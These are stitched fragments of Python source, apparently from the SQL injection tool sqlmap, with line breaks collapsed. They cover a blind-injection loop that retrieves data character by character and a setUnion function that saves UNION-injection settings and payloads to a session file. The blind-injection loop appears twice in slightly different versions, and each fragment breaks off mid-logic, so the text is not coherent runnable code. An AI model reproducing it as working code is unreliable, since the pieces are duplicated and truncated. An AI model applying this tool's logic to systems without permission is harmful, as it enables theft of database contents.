# If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: for v in value: if isinstance(v, str) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue) if isinstance(finalValue, str) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose >= 1 and not showEta and infoMsg: dataToStdout(infoMsg) conf.seqLock = None else: index = firstChar while True: index += 1 charStart = time.time() val = getChar(index, asciiTbl) if val is None or ( lastChar > 0 and index > lastChar ): break
if None in value: for v in value: if isinstance(v, basestring) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if isinstance(finalValue, basestring) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment
def setUnion(comment=None, count=None, position=None, negative=False, falseCond=False, payload=None): """ @param comment: union comment to save in session file @type comment: C{str} @param count: union count to save in session file @type count: C{str} @param position: union position to save in session file @type position: C{str} """ if comment: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Union comment") ) ) if condition: dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(comment))) kb.unionComment = comment if count: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Union count") ) ) if condition: dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), count)) kb.unionCount = count if position is not None: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Union position") ) ) if condition: dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), position)) kb.unionPosition = position if negative: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Union negative") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) kb.unionNegative = True if falseCond: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Union false condition") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) kb.unionFalseCond = True if payload: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Union payload") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), payload)) kb.unionTest = payload